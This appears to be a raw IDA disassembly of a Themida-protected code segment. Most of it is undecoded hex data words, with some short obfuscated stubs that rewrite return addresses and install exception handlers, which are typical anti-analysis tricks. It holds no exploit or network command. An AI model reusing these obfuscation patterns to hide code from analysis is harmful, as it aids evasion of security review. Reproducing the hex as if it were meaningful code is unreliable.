		dd 895EC35Eh, 81042474h, 18042444h, 46000000h, 0BA34C356h
		dd 96E966B6h, 0CE9h, 61414E00h,	221C35C6h, 33E3FF99h, 20BF5032h
		dd 9662919Ch, 6880Fh, 0B5890000h, 60B021Dh, 0A815B5FFh
		dd 0FA8B060Eh, 0B4B268h, 0DFBB6691h, 240481E1h,	6F1E4F4Dh
		dd 1D858DF5h, 50060EA8h, 6A240489h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 15042444h, 40000000h, 0CFC4C350h
		dd 23F5BD89h, 0BF66060Bh, 95FFDAE0h, 60B03D1h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Ch, 1FC35343h, 0CE0FB28Ah
		dd 63F27E78h, 33259D09h, 61F5060Bh, 0E855006Ah,	3, 5DC35D20h
		dd 4246C89h, 4244481h, 1Dh, 0D0C35545h,	9842A979h, 5A293D1h
		dd 0D327BB2Eh, 85C711E7h, 60B1009h, 3, 129D9D0Bh, 0BD83060Bh
		dd 60EA81Dh, 0F840F00h,	66000000h, 22E9F88Bh, 0B3000000h
		dd 1EC4BF12h, 30506A81h, 4400110Ch, 0E8C10111h,	11443010h
		dd 114C0002h, 0E9835803h, 0EBE77504h, 4305036h,	11640011h
		dd 10E8C101h, 2114430h,	3116400h, 4E98358h, 1BEBE775h
		dd 10E8C150h, 3116428h,	2114430h, 11642858h, 11043001h
		dd 7504E983h, 8B00EBE7h, 51006AC0h, 3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1B04h, 0C3514100h, 74B843F8h, 300698C1h
		dd 9DBD89F9h, 6A060B0Fh, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 19042444h, 43000000h, 0B559C353h,	0A9527617h
		dd 2040B6BFh, 66B2BF26h, 13E94C91h, 0E2000000h,	0EC583849h
		dd 3295A127h, 9082A072h, 0B1B8765Dh, 0BD83097Eh, 60B1009h
		dd 0CF850F03h, 6A000003h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 17042444h, 43000000h, 86CCC353h, 8E0F2B22h
		dd 2, 0BD83D98Ah, 60EA81Dh, 9B840F00h, 0F9000003h, 0A81DB5FFh
		dd 8166060Eh, 0FF324AF3h, 0B083D95h, 0B58BF806h, 60EA811h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 17h, 25C35141h
		dd 0C7A41743h, 1000106h, 99D8900h, 50060B0Dh, 0FCC2BF66h
		dd 6A243489h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 1D042444h, 45000000h, 4019C355h, 0B06591CDh,	0C02E28B5h
		dd 3D4FF381h, 0B5FF2893h, 60EA81Dh, 68B0F52h, 8B000000h
		dd 0B18FDBDh, 95FF5B06h, 60B0641h, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 19h, 8CC35242h, 0A4CA7045h, 0C18589C5h
		dd 8B060B2Eh, 0EA811B5h, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1604h, 0C3554500h, 507EE667h, 16899D8Bh
		dd 665F060Bh, 0DA6CE381h, 121D858Bh, 6A060Bh, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 140424h, 55450000h, 0E7813AC3h
		dd 853F76Ah, 0C48689h, 0B70F0000h, 4D958BD9h, 66060B17h
		dd 7F2DEB81h, 0E804C283h, 13h, 0F00750E4h, 750E44Eh, 50E44EF0h
		dd 0E44EF007h, 0BFF00750h, 0CBA6F13h, 2050895Fh, 0EE9h
		dd 0B9F83D00h, 2D838359h, 5A0556A4h, 8161B3D2h,	0FEC79CF3h
		dd 0EE858D33h, 6A060EBAh, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 14042444h, 46000000h, 8BD1C356h, 0B2A3DBDh
		dd 0B8868906h, 0F9000000h, 8166006Ah, 0FF0B28E7h, 0EA81DB5h
		dd 79BD8B06h, 0E9060B06h, 0Fh, 3D509AABh, 319BC149h, 0B224728Eh
		dd 0FF2ABD19h, 0B0F1595h, 50DF8B06h, 810F5250h,	2, 310F0BB7h
		dd 38AD19BFh, 89585A06h, 8B602434h, 68E0FDAh, 89000000h
		dd 0B23F5BDh, 0B5FF6106h, 60EA81Dh, 33C1BD29h, 8A0F060Bh
		dd 6, 2F498589h, 95FF060Bh, 60B00F5h, 4458EB81h, 0CE97595h
		dd 43000000h, 0DDF04C19h, 60D167h, 83FA64A2h, 0B2191BDh
		dd 840F0006h, 6Bh, 0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 16h, 22C35242h, 9E9EC69h, 0CB000000h, 0D78B2808h
		dd 0CC8DCC32h, 50DE8B96h, 10870Fh, 0BE90000h, 0E7000000h
		dd 7BD3E0D1h, 406561FEh, 6A969319h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 16042444h, 43000000h, 0FB22C353h
		dd 9BD8B3Dh, 0FF060B23h, 0EA81DB5h, 0DA8B6606h,	128195FFh
		dd 6A060Bh, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1C0424h
		dd 51410000h, 0CCD5E8C3h, 0B93C863Eh, 8C0F2915h, 6, 661BD23h
		dd 0B5FF060Bh, 60EA81Dh, 0E852006Ah, 3,	5AC35A20h, 4245489h
		dd 4244481h, 14h, 21C35242h, 85953152h,	5B060B22h, 0B8D95FFh
		dd 6A060Bh, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1D0424h
		dd 57470000h, 0DCAE7FC3h, 0E6541C07h, 29E1549Dh, 0B2D9195h
		dd 0F1BD8306h, 2060B17h, 28840Fh, 9D8B0000h, 60B0DDDh
		dd 8BF88B66h, 0B2EC585h, 0BE906h, 0FA300000h, 38CA8C92h
		dd 0B0E8DDA3h, 0C67Eh, 3899589h, 85C7060Bh, 60B06B9h, 0
; ---------------------------------------------------------------------------
		push	0
		push	ebp
		call	sub_58BEFB


loc_58BEF8:				; CODE XREF: Themida_:0058BF0Cj
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_58BEFB	proc near		; CODE XREF: Themida_:0058BEF3p

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 1Ah
		inc	ebp
		push	ebp
		retn
sub_58BEFB	endp

; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		jns	short loc_58BEF8
		push	edi
		lodsd
		sbb	bl, 8Bh
		popf
		pop	ecx
		push	ss
		or	eax, [esi]
		mov	edi, [ebp+60B2E59h]
		jmp	loc_58B38A
; ---------------------------------------------------------------------------
		mov	[ebp+60B059Dh],	edi
		mov	eax, ecx
		adc	edi, 54C01BD4h
		lea	eax, [ebp+60B28A9h]
		xor	[ebp+60B1661h],	ebx
		nop
		mov	di, ax
		push	eax
		mov	ebx, esi
		nop
		mov	[ebp+60B2175h],	edi
		push	0
		mov	[ebp+60B26C9h],	ebx
		push	0
		push	0
		push	edx
		call	sub_58BF60
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_58BF60	proc near		; CODE XREF: Themida_:0058BF58p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 17h
		inc	edx
		push	edx
		retn
sub_58BF60	endp

; ---------------------------------------------------------------------------
		dd 108B9368h, 8E858Dh, 6A0610h,	3E853h,	5B200000h, 5C895BC3h
		dd 44810424h, 180424h, 53430000h, 0FC7161C3h, 0FBF1424h
		dd 833FF8B3h, 958905C0h, 60B1A4Dh, 50525090h, 14E952h
		dd 0D2710000h, 0F6B40F18h, 0A860A957h, 4E382E5h, 0BE97E67Eh
		dd 310F330Eh, 6C3345BBh, 0F585A1Ah, 5E931h, 6BD30000h
		dd 5A10DFE4h, 14E85058h, 0A2000000h, 0D1A6C9C9h, 0B51A5711h
		dd 0CEAE810Ah, 47E32E9h, 0E9BABE2Bh, 9,	0A922CC39h, 0A13BD485h
		dd 60905FE1h, 29D99533h, 0F080060Bh, 6A61D9h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 19h, 0DEC35646h, 772C5AB7h
		dd 198D8900h, 6A060B11h, 69B58900h, 0FF060B17h,	0B2F2195h
		dd 52006A06h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1704h
		dd 0C3524200h, 1C5BD5A1h, 33519D29h, 0D98B060Bh, 0A7B08D8Dh
		dd 6A060Eh, 3E851h, 59200000h, 4C8959C3h, 44810424h, 140424h
		dd 51410000h, 0FF841C3h, 8Fh, 6AD1FF00h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 1D042444h, 43000000h, 10AC353h
		dd 9D9D799Ch, 161FC099h, 11E8h,	75F39F00h, 4038A100h, 0A24645F2h
		dd 645E263Ah, 0F78198B6h, 63B7CA5Bh, 19BD835Bh,	1060B0Bh
		dd 48850Fh, 26A0000h, 0E851006Ah, 3, 59C35920h,	4244C89h
		dd 4244481h, 15h, 0EAC35141h, 5060500Dh, 0F88B6652h, 8B66310Fh
		dd 61585AF8h, 8B240489h, 0B3301BDh, 1595FF06h, 89060B0Fh
		dd 0B07B58Dh, 2606BB06h, 7BE97D43h, 0E800000Eh,	0
; ---------------------------------------------------------------------------
		pop	ebp
		sub	ebp, 6100098h
		jmp	loc_58C14F
; ---------------------------------------------------------------------------
		dd 0B079599Fh
; ---------------------------------------------------------------------------
		stc
		cli
		xchg	eax, ecx


loc_58C14F:				; CODE XREF: Themida_:0058C143j
		push	0
		push	edx
		call	sub_58C15A
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_58C15A	proc near		; CODE XREF: Themida_:0058C152p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 15h
		inc	edx
		push	edx
		retn
sub_58C15A	endp

; ---------------------------------------------------------------------------
		scasb
		mov	eax, 0CD98D89h
		or	eax, [esi]
		lea	eax, [ebp+60E9293h]
		clc
		push	eax
		mov	ebx, edi
		mov	[esp], eax
		mov	[ebp+60B166Dh],	eax
		push	large dword ptr	fs:0
		mov	[ebp+60B2F41h],	edi
		mov	large fs:0, esp
		push	0
		push	ecx
		call	sub_58C1A4
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_58C1A4	proc near		; CODE XREF: Themida_:0058C19Cp

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 1Bh
		inc	ecx
		push	ecx
		retn
sub_58C1A4	endp

; ---------------------------------------------------------------------------
		dd 0DF749EF1h, 0A67011E0h, 229BD0Bh, 85FF060Bh,	60B066Dh
		dd 6AD88B66h, 55006AFFh, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1D04h, 0C3554500h, 0BF12FC17h, 4FBCBB4Ah, 800F35C0h
		dd 6, 5799D0Bh,	0B5FF060Bh, 60B0FD5h, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 17h, 3DC35141h, 0BF217022h, 0DCDB6E6h
		dd 29F59D8Bh, 95FF060Bh, 60B2411h, 118E9h, 0C59D2900h
		dd 0B0060B28h, 2BBF6600h, 0D99D09BDh, 0E6060B29h, 0EE870h
		dd 8D530000h, 19FD3F59h, 0C72B3BB6h, 606A9178h,	0F98D8B60h
		dd 0F060B02h, 5F61CFBFh, 613C71E4h, 0DB830Fh, 0D5BB0000h
		dd 0F33BF8Fh, 0B70FC8B6h, 6BAF8h, 0B5890000h, 60B244Dh
		dd 13E9C18Bh, 12000000h, 4B5C0429h, 0F0DB92C3h,	39B10DB2h
		dd 0B3B0D307h, 0E8C129DFh, 7E904h, 0F63A0000h, 8FD7DE8Dh
		dd 0E2F7664Ah, 9D09C82Bh, 60B050Dh, 8B66D18Bh, 87E9DFh
		dd 13E90000h, 20000000h, 0F71171DCh, 0F48C641Ch, 0FB6B08D4h
		dd 74A41BC4h, 858B2A9Dh, 44004E49h, 1B8FCF81h, 0C08301CFh
		dd 7E907h, 21700000h, 0E95150BEh, 0C083C3h, 3BBFCB80h
		dd 9830FD0h, 60000000h,	0E961D88Bh, 3Dh, 0FFFF8D8Bh, 860FFFFFh
		dd 6, 1505BD8Bh, 0E183060Bh, 22840F01h,	89000000h, 0B2B3595h
		dd 0FFA58306h, 0FEFFFFFFh, 2E59BD8Bh, 9589060Bh, 44004E49h
		dd 740ABF66h, 0E9h, 25B58D00h, 1060F7Eh, 0B0DCDBDh, 66006A06h
		dd 0F921E781h, 32DD95FFh, 9D89060Bh, 60B0F51h, 1054B9h
		dd 0FCE18300h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 1Bh,	18C35646h, 2FDB7FD8h, 602617A5h, 13158D8Bh, 8961060Bh
		dd 0B2F099Dh, 6AFC06h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 160424h, 50400000h, 783869C3h, 22A99D8Bh, 0F98B060Bh
		dd 9589C02Bh, 60B1B55h,	0BAh, 57006A00h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1A04h,	0C3574700h, 0DBE3E7E8h
		dd 8B6D62C3h, 0B22A1BDh, 0C233AD06h, 0D003E8D1h, 7504E983h
		dd 0FAF381F4h, 3635D8Bh, 0B03D5BDh, 880D06h, 6A0000h, 3E856h
		dd 5E200000h, 74895EC3h, 44810424h, 180424h, 56460000h
		dd 0A18243C3h, 810F392Ah, 6, 2779B589h,	958B060Bh, 60B174Dh
		dd 26D9BD23h, 8D8B060Bh, 60B0119h, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 1Ah, 99C35242h, 0E2251AE7h, 9D8B0AFEh
		dd 60B2175h, 8BC28B50h,	8BC10318h, 0D1C18B18h, 8BC203E8h
		dd 6A5818h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 160424h
		dd 55450000h, 884B33C3h, 4800Fh, 0BB660000h, 6A6BE7h, 3E850h
		dd 58200000h, 448958C3h, 44810424h, 180424h, 50400000h
		dd 0F89CCAC3h, 0BF0F727Eh, 0E9BD2BDBh, 83060B00h, 0B29BDBDh
		dd 840F0006h, 0ADh, 0E852006Ah,	3, 5AC35A20h, 4245489h
		dd 4244481h, 1Dh, 87C35242h, 0D650C75h,	111E629Ah, 0B8A6h
		dd 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 140424h
		dd 56460000h, 8B6602C3h, 0D78D8DFEh, 6A060B4Dh,	3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 1B042444h, 45000000h
		dd 3F67C355h, 52E578FBh, 6060BF36h, 8E0Fh, 0E8810000h
		dd 0EFFC08Ah, 850F6161h, 3, 0E8FEB70Fh,	0Eh, 9CF85A6Bh
		dd 1EAC7286h, 172320BBh, 0F3816C84h, 25E37652h,	0FE1FF5Fh
		dd 8Eh,	9BD8300h, 60B10h, 4B4840Fh, 0FF90000h, 0BD83DFB7h
		dd 60B1009h, 0BE840F01h, 6A000004h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 15042444h, 40000000h, 0E8AFC350h
		dd 2AE38166h, 9BD83C9h,	3060B10h, 459860Fh, 6A0000h, 3E855h
		dd 5D200000h, 6C895DC3h, 44810424h, 150424h, 55450000h
		dd 331C3DC3h, 0B2935BDh, 6A6006h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 1A0424h, 57470000h, 0F89873C3h, 0D258EE4Ah
		dd 6AD98C66h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 1B042444h, 41000000h, 0AD81C351h, 36AEF9BCh,	816603A3h
		dd 804E72D7h, 6A04E1h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 160424h, 57470000h, 5BE4A7C3h, 1A85BD89h, 0C90A060Bh
		dd 13B840Fh, 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 1C0424h, 57470000h, 8E44FAC3h, 98E090CFh, 858B24DFh
		dd 60B317Dh, 85335B56h,	60B06EDh, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 1Ch, 60C35040h, 0EF1CF025h, 4173E162h
		dd 698D8960h, 89060B13h, 0B1A0995h, 50906106h, 9E852h
		dd 0F5D70000h, 0F53628ADh, 520001C6h, 310F5B5Bh, 5325BF66h
		dd 5750585Ah, 905B5F56h, 6A006Ah, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 1B0424h, 56460000h, 67C4F7C3h, 0D98AD4AEh
		dd 35BD89E8h, 68060B09h, 29D0F1B1h, 12E8h, 8F172400h, 7662828Ah
		dd 0FED33537h, 1FE9E589h, 0E8B0D299h, 11h, 0FBA50BDDh
		dd 0ECD2FD4Eh, 0C3290B61h, 3F4C4EA8h, 8A0FB6h, 5B000000h
		dd 2434815Fh, 29CFF24Eh, 66D9BF0Fh, 0FF1331BBh,	0B03D195h
		dd 0FFB70F06h, 0A81D8589h, 6A060Eh, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 1B0424h, 50400000h, 0E32C66C3h
		dd 38FDEC8Eh, 0CB81662Ch, 0EAE9E2B7h, 89000001h, 0B0139B5h
		dd 15858B06h, 66060EA8h, 7086C781h, 1800C7h, 6A0000h, 3E857h
		dd 5F200000h, 7C895FC3h, 44810424h, 150424h, 57470000h
		dd 0FB9FAC3h, 187h, 0B58BF900h,	60EA819h, 0E857006Ah, 3
		dd 5FC35F20h, 4247C89h,	4244481h, 1Dh, 0D0C35747h, 7A8F87C7h
		dd 0B8DC5998h, 68B0F27h, 29000000h, 0B2AAD95h, 0E1858B06h
		dd 6A060B06h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 18042444h, 43000000h, 0EFAFC353h, 3EAA87Fh, 0B0E69BDh
		dd 0F068906h, 689h, 35958900h, 8B060B20h, 0B317D85h, 57006A06h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1604h, 0C3574700h
		dd 895A55F1h, 0B2AE1BDh, 11850106h, 89060B19h, 6A0446h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1A0424h, 57470000h
		dd 33AD8EC3h, 97D6F9D4h, 8198589h, 6051060Bh, 7E9EB8Ah
		dd 78000000h, 0E56EDFC2h, 5F61FCC8h, 0D08B6096h, 4870Fh
		dd 0BB660000h, 506119E7h, 86DCBB66h, 52006A96h,	3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1904h,	0C3524200h, 1AAB0AD7h
		dd 0B5FF12A1h, 60EA815h, 0E857006Ah, 3,	5FC35F20h, 4247C89h
		dd 4244481h, 16h, 84C35747h, 4E8276Bh, 0FF000000h, 0BB001F03h
		dd 78853F77h, 24448B50h, 8BF98A04h, 87BF6600h, 244489C7h
		dd 0F88B6604h, 50006A58h, 3E8h,	0C3582000h, 24448958h
		dd 24448104h, 1B04h, 0C3504000h, 0B2993FD5h, 0F20C8C7Ch
		dd 1D858DFCh, 90060EA8h, 0FA8B6652h, 10E8505Bh,	28000000h
		dd 6946BAE4h, 29A3A4A8h, 3DD0F10Bh, 66F992C9h, 5F59D1BFh
		dd 0D195FF90h, 8B060B03h, 0BD0B61FBh
		dd 60B2B59h, 100985C7h,	3060Bh,	6A0000h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 1B0424h, 56460000h, 0C2B1D4C3h
		dd 874DF11Eh, 2B91BFD5h, 8960793Ch, 0B2819BDh, 85850B06h
		dd 61060B09h, 0A81DBD83h, 0F00060Eh, 4684h, 53006A00h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1504h, 0C3534300h
		dd 0D3816C14h, 18092C28h, 39E9h, 188A0F00h, 0E9000000h
		dd 13h,	5F92BFAAh, 7C2291E0h, 0E91CEA9Ch, 0EAD2BBE0h, 509137F2h
		dd 110C30h, 0C1011144h,	443010E8h, 4C000211h, 83580311h
		dd 0E77504E9h, 305036EBh, 64001104h, 0E8C10111h, 11443010h
		dd 11640002h, 0E9835803h, 0EBE77504h, 0E8C1501Bh, 11642810h
		dd 11443003h, 64285802h, 4300111h, 4E98311h, 0EBE775h
		dd 6AC08Bh, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 190424h
		dd 57470000h, 90EF3AC3h, 6684ACC0h, 0E27FC381h,	1009BD83h
		dd 0F03060Bh, 4B785h, 1DBD8300h, 60EA8h, 4AA840Fh, 6A0000h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1A0424h, 56460000h
		dd 64116CC3h, 31B7BB23h, 0A81DB5FFh, 6A060Eh, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 1C0424h, 51410000h, 0FFA8DAC3h
		dd 69A9BE38h, 0BD8951F9h, 60B2445h, 338DBD8Bh, 95FF060Bh
		dd 60B083Dh, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 1Dh,	23C35747h, 36755144h, 8B19C8F8h, 6E956h, 0E6980000h
		dd 67661CD9h, 0A811B58Bh, 6C7060Eh, 10001h, 31299589h
		dd 5350060Bh, 3830Fh, 8B660000h, 34895BF9h, 53006A24h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1604h, 0C3534300h
		dd 8BDD428Ch, 0B271DBDh, 0E5B58906h, 0FF060B02h, 0EA81DB5h
		dd 9E806h, 0A6E40000h, 0A800A606h, 0FC62D85h, 68Bh, 0B5BD0B00h
		dd 5B060B04h, 64195FFh,	0D98B060Bh, 0A811B58Bh,	960060Eh
		dd 0B1AC59Dh, 14E906h, 51E90000h, 60F58060h, 0FFDEA504h
		dd 0E4A9035Eh, 0E9AEE235h, 8B6120D2h, 0B121D85h, 0ACF8006h
		dd 0C48689h, 0C6BB0000h, 0E8256F66h, 8,	0BD0E609Fh, 667F4DF9h
		dd 0B553BF66h, 4D958B5Bh, 6A060B17h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 1B042444h, 47000000h, 5ACDC357h
		dd 570D500Ah, 8B663866h, 0DAB70FD9h, 6A04C283h,	3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 15042444h, 42000000h
		dd 0EF25C352h, 66205089h, 858DD98Bh, 60EBAEEh, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 1Dh, 35C35141h, 54B1EE95h
		dd 0E261C565h, 0D7816622h, 9D8B45E6h, 60B13E1h,	0B88689h
		dd 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 160424h
		dd 55450000h, 3EF097C3h, 29DDBD8Bh, 9D23060Bh, 60B1815h
		dd 6A006Ah, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 160424h
		dd 55450000h, 0B5073BC3h, 339D9D0Bh, 8B66060Bh,	1DB5FFF8h
		dd 6A060EA8h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 1A042444h, 45000000h, 0D8E5C355h, 2060B142h,	6E95Eh
		dd 39A50000h, 0C76CE2D3h, 0F1595FFh, 0B589060Bh, 60B32B9h
		dd 0DE8B6696h, 0EE96050h, 0B0000000h, 59B3CA29h, 527617B5h
		dd 9BEA95A9h, 0E9966180h, 0Bh, 4A2D81FBh, 48E5EE81h, 0F0FFDADh
		dd 84h,	1DB5FF00h, 0BB060EA8h, 79B5E5D1h, 6E78166h, 0F595FFF0h
		dd 6A060B00h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 1C042444h, 42000000h, 0FA35C352h, 800534A5h,	66DDE8E0h
		dd 0BD83F88Bh, 60B2191h, 47840F00h, 6A000000h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 15042444h, 41000000h
		dd 0C5FFC351h, 2729BD8Bh, 8B96060Bh, 0AABB50DAh, 9652C870h
		dd 13E9h, 7456B500h, 3D422C97h,	2A5613F3h, 67B69D28h, 0CD2E5F20h
		dd 0B5FFAFB7h, 60EA81Dh, 0E850006Ah, 3,	58C35820h, 4244489h
		dd 4244481h, 16h, 0F2C35040h, 8B66C5D1h, 0F5BD8BF9h, 0FF060B14h
		dd 0B128195h, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1A04h, 0C3554500h, 0AEE13742h, 0F45466Eh, 68Dh, 1D958900h
		dd 3060B0Fh, 0B1771BDh,	1DB5FF06h, 6A060EA8h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 18042444h, 45000000h
		dd 7EC5C355h, 665396B5h, 0BF66F98Bh, 95FFEA50h,	60B0B8Dh
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Ah, 0EBC35646h
		dd 2419AB1Fh, 9D8B6E53h, 60B1021h, 0B95BD8Bh, 0BD83060Bh
		dd 60B17F1h, 91840F02h,	6A000000h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 1B042444h, 47000000h, 0B57DC357h
		dd 0C0BB7ED3h, 0BE9E1E1h, 0A2000000h, 0D0FD14BAh, 871FB789h
		dd 858B2997h, 60B2EC5h,	0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 1Bh, 69C35040h, 8F4953D5h,	0F0AB18Ch, 0C6DBB7h
		dd 57006A00h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1B04h
		dd 0C3574700h, 1E4E0A60h, 0AC5A3765h, 68D0Fh, 8D290000h
		dd 60B0CD9h, 6B985C7h, 60Bh, 0B5890000h, 60B0965h, 0FFF23EE9h
		dd 91B589FFh, 8B060B0Eh, 51006AC1h, 3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1504h, 0C3514100h, 858D7777h, 60B28A9h, 810Fh
		dd 50500000h, 0F46B352h, 89585A31h, 8A0F2404h, 2, 6AF88Ah
		dd 6E9h, 0DF5B4E00h, 6A611F01h,	1A810F00h, 0E8000000h
		dd 0Eh,	414CB8EBh, 2E607F77h, 0A67D2C48h, 8D898E8Dh, 60B2D89h
		dd 94858D5Bh, 6A061010h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 15042444h, 41000000h, 535DC351h, 7E8h, 5F3EB700h
		dd 0B5B9AFCh, 835F5F50h, 8E805C0h, 5D000000h, 0AF3C5C47h
		dd 0E97AD82Dh, 6, 0DD7E1DE3h, 905B3515h, 0B13BBF57h, 505F5453h
		dd 23C7BF66h, 6DBD8B90h, 6A060B22h, 50006A00h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1604h,	0C3504000h, 6AD7C5EBh
		dd 3870F00h, 66000000h,	850FDF8Bh, 6, 100D8589h, 95FF060Bh
		dd 60B2F21h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 15h,	55C35747h, 0A8C0FFEh, 0E9000000h, 5, 95D3DA3Fh
		dd 0B08D8D9Ch, 6A060EA7h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 14042444h, 45000000h, 0FFDCC355h,	619589D1h
		dd 83060B27h, 0B0B19BDh, 850F0106h, 34h, 17CD9D89h, 26A060Bh
		dd 90DE8B66h, 0E950DE8Ah, 13h, 0D37EBBFCh, 0AE768BF9h
		dd 648C7435h, 577173Ch,	90E90BA1h, 1599BD29h, 95FF060Bh
		dd 60B0F15h, 0E66E9h, 0E800h, 815D0000h, 10109EEDh, 0D19D3106h
		dd 6A060B2Ah, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 16042444h, 47000000h, 8459C357h, 0E78166BEh,	858D6860h
		dd 60E9293h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 1Dh,	0D0C35141h, 90A55E49h, 0DD4941E6h, 0F81B786h, 0F50F9BFh
		dd 585h, 9072BB00h, 4893989h, 0FA8B6624h
		dd 35FF64h, 6A000000h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 18042444h, 47000000h, 0BB6BC357h,	89AE3DBFh
		dd 0B08D58Dh, 25896406h, 0
; ---------------------------------------------------------------------------
		push	0
		push	eax
		call	sub_58D1F3
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_58D1F3	proc near		; CODE XREF: Themida_:0058D1EBp

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 16h
		inc	eax
		push	eax
		retn
sub_58D1F3	endp

; ---------------------------------------------------------------------------
		db 58h
		dd 858965E8h, 60B0011h,	66D85FFh, 8B66060Bh, 0BFFF6ADAh
		dd 0DA777ADh, 0DA5B5FFh, 6A060Bh, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 1C0424h, 50400000h, 8CA6BAC3h, 7195463Eh
		dd 9529C8C8h, 60B0415h,	241195FFh, 0E9060Bh, 0F000001h
		dd 68Ah, 840F00h, 0B0000000h, 29BD0300h, 0E6060B02h, 8DBD8B70h
		dd 0E4060B18h, 0F9BD8B71h, 3C060B00h, 0D4830F61h, 8B000000h
		dd 0C8B60FFBh, 5219D09h, 0B589060Bh, 60B2AADh, 6BAh, 759D8B00h
		dd 8B060B10h, 0CCC780C1h, 0FC04E8C1h, 0E2F766F8h, 0FC8FABBh
		dd 0DE9530Fh, 0E7000000h, 0A6D9C003h, 31F21421h, 9A29E047h
		dd 0BFC82B5Bh, 59A79F99h, 8A0FD18Bh, 3,	0E9F2F780h, 7Bh
		dd 38D0Fh, 8B660000h, 4C858BDFh, 8B505F4Ch, 7C083FBh, 0DDD9529h
		dd 0C083060Bh, 0EDBD8900h, 3B060B2Eh, 10830FD0h, 0BB000000h
		dd 2E5E8343h, 46E9h, 3D9D2B00h,	8B060B16h, 0FFFFFF8Dh
		dd 9D9D8BFFh, 83060B06h, 840F01E1h, 2Bh, 0FFFFA583h, 0E8FEFFFFh
		dd 0Dh,	87898024h, 5DED00D1h, 9EACF2F1h, 71953149h, 5B060B15h
